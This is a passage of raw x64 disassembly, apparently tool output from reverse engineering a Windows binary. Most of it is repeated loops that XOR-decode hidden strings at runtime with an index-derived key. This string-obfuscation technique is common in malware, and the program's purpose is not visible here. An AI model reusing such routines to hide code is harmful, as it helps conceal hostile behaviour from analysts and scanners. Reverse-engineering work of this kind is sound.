pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140018ad0
cmp r8d, 0x34
jge 0x140018c00
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x140018bd0
mov rdx, r10
lea rcx, [rbp + 0x12b8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x12d8]
call fcn.140035ef0
mov rdx, rax
lea rcx, [rbp + 0x6498]
call fcn.140032100
lea rcx, [rbp + 0x12d8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x12b8]
call fcn.1400320f0
mov edx, Ordinal_26
lea rcx, [rbp + 0x60c8]
call fcn.14000ba50
lea rdx, [rbp + 0x6498]
lea rcx, [rbp + 0x12f8]
call fcn.1400322e0
mov rdx, rax
lea rcx, [rbp + 0x60c8]
call fcn.14000d4c0
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x60c8]
call fcn.140031410
mov r8d, 5
lea rdx, [rbp + 0x58]
mov rcx, rax
call fcn.14002df50
mov rbx, qword [rax]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x60c8]
call fcn.140031410
mov r9, rbx
mov r8, qword [rax]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x60c8]
call fcn.140031420
lea rcx, [rbp + 0x60c8]
call fcn.140031400
mov rbx, rax
mov edx, Ordinal_26
lea rcx, [rbp + 0x60e0]
call fcn.14000ba50
lea rcx, [rbp + 0x60e0]
call fcn.140031540
nop
lea rcx, [rbp + 0x60e0]
call fcn.140031400
mov qword [rbp + 0x60a0], rax
mov edx, Ordinal_26
lea rcx, [rbp + 0x60f8]
call fcn.14000ba50
lea rcx, [rbp + 0x60c8]
call fcn.14002d300
mov r8, rax
lea r9, [rbp + 0x60a0]
mov rdx, rbx
lea rcx, [rbp + 0x60f8]
call fcn.14000cf30
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x6110]
call fcn.14000ba50
lea rdx, [rbp + 0x5900]
lea rcx, [rbp - 0x49]
call fcn.14002d310
mov r10, rax
cmp byte [rax + 0x27], 0
je 0x140018ea9
mov r8d, esi
cmp r14d, 2
jl 0x140018e75
mov edx, esi
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov r8d, dword [rsp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140018d90
jmp 0x140018ea9
mov r9, r10
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140018e80
mov rdx, r10
lea rcx, [rbp + 0x1318]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x1338]
call fcn.140035ef0
nop
mov rdx, rax
lea rcx, [rbp + 0x6110]
call fcn.140011f60
nop
lea rcx, [rbp + 0x1338]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1318]
call fcn.1400320f0
lea rdx, str.Default
lea rcx, [rbp + 0x1358]
call fcn.1400322a0
nop
lea rdx, [rbp + 0x1358]
lea rcx, [rbp + 0x6110]
call fcn.1400319f0
nop
lea rcx, [rbp + 0x1358]
call fcn.1400320f0
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x48]
call fcn.14002d340
mov r10, rax
movdqa xmm14, xmmword [0x14029dc70]
cmp byte [rax + 0xf], 0
je 0x140019129
mov r8d, esi
cmp r14d, 2
jl 0x1400190f8
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
jmp 0x140019129
mov r9, r10
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140019100
mov rdx, r10
lea rcx, [rbp + 0x1378]
call fcn.1400322a0
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x1398]
call fcn.14000b2e0
nop
mov rcx, rax
call fcn.140031ce0
mov rdx, rax
lea rcx, [rbp + 0x6478]
call fcn.140031e60
nop
lea rcx, [rbp + 0x1398]
call fcn.1400079a0
lea rcx, [rbp + 0x6478]
call fcn.140031ce0
mov r13, rax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x47]
call fcn.14002d350
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400191bf
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor cl, 0x41
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x13d8]
call fcn.1400322a0
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x13f8]
call fcn.14000b2e0
nop
mov rcx, rax
call fcn.140031ce0
mov rdx, rax
lea rcx, [rbp + 0x6458]
call fcn.140031e60
nop
lea rcx, [rbp + 0x13f8]
call fcn.1400079a0
lea rcx, [rbp + 0x6458]
call fcn.140031ce0
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x1438]
mov qword [rbp + 0x70], rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x1438]
call fcn.1400322e0
mov qword [rbp - 0x80], rax
lea rax, [rbp + 0x450]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x60f8]
lea rcx, [rbp + 0x450]
call fcn.140031480
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0x1458]
mov qword [rbp - 0x68], rax
lea r8, [0x140284684]
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x1458]
call fcn.140035d30
mov qword [rbp - 0x60], rax
lea rax, [rbp + 0x1478]
mov qword [rbp - 0x58], rax
lea rdx, [rbp + 0x58d8]
lea rcx, [rbp - 0x46]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x140019400
mov r8d, esi
cmp r14d, 2
jl 0x1400193bb
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400192d0
cmp r8d, 0x27
jge 0x140019400
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x1400193d0
mov rdx, r10
lea rcx, [rbp + 0x1498]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x1478]
call fcn.140035ef0
mov r12, rax
lea rax, [rbp + 0x14b8]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp - 0x45]
call fcn.14002d370
movzx ecx, word [rax + 0x10]
test cx, cx
je 0x14001947d
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor word [rax + 8], 0x3d
xor word [rax + 0xa], 0x3e
xor word [rax + 0xc], 0x3f
xor word [rax + 0xe], 0x40
xor cx, 0x41
mov word [rax + 0x10], cx
mov rdx, rax
lea rcx, [rbp + 0x14b8]
call fcn.140031e60
mov r15, rax
lea rax, [rbp + 0x14d8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x44]
call fcn.14002d350
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400194d8
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor cl, 0x41
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x14d8]
call fcn.1400322a0
mov rdi, rax
lea rax, [rbp + 0x14f8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x14f8]
call fcn.1400322e0
mov rbx, rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x468]
call fcn.140031a50
nop
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rbp - 0x70]
mov qword [rsp + 0x40], rcx
mov rcx, qword [rbp + 0x38]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], r13
mov rcx, qword [rbp - 0x60]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014a70
nop
lea rcx, [rbp + 0x1498]
call fcn.1400320f0
lea rdx, [rbp + 0x1518]
lea rcx, [rbp - 0x43]
call fcn.14002d3d0
mov r10, rax
cmp word [rax + 0x1e], 0
je 0x14001976d
mov r8d, esi
cmp r14d, 2
jl 0x140019732
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
jmp 0x14001976d
mov r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x140019740
mov rdx, r10
lea rcx, [rbp + 0x1538]
call fcn.140031e60
nop
mov rdx, rax
mov rcx, qword [rbp + 0x40]
call fcn.1400141f0
mov rcx, rax
call fcn.140011b60
nop
lea rcx, [rbp + 0x1538]
call fcn.1400079a0
lea rax, [rbp + 0x480]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x480]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5b88]
lea rcx, [rbp - 0x42]
call fcn.14002d450
mov r10, rax
movdqa xmm15, xmmword [0x14029dc80]
movdqa xmm4, xmmword [0x14029dc90]
cmp word [rax + 0x30], 0
je 0x140019aa4
mov r8d, esi
cmp r14d, 2
jl 0x140019a66
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm4
punpckhdq xmm0, xmm4
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm4
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x28]
xorps xmm3, xmm0
movq qword [rax + 0x28], xmm3
mov r8d, Ordinal_26
mov eax, r8d
lea r9, [r10 + rax*2]
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x19
jl 0x140019a70
mov rdx, r10
lea rcx, [rbp + 0x1558]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x1578]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x1598]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0xa58]
lea rcx, [rbp - 0x41]
call fcn.14002d420
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140019db0
mov r8d, esi
cmp r14d, 2
jl 0x140019d77
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x14029dc90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140019d80
mov rdx, r10
lea rcx, [rbp + 0x15b8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x15d8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1598]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x15f8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5568]
lea rcx, [rbp - 0x40]
call fcn.14002d3f0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140019f60
mov r8d, esi
cmp r14d, 2
jl 0x140019f1b
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
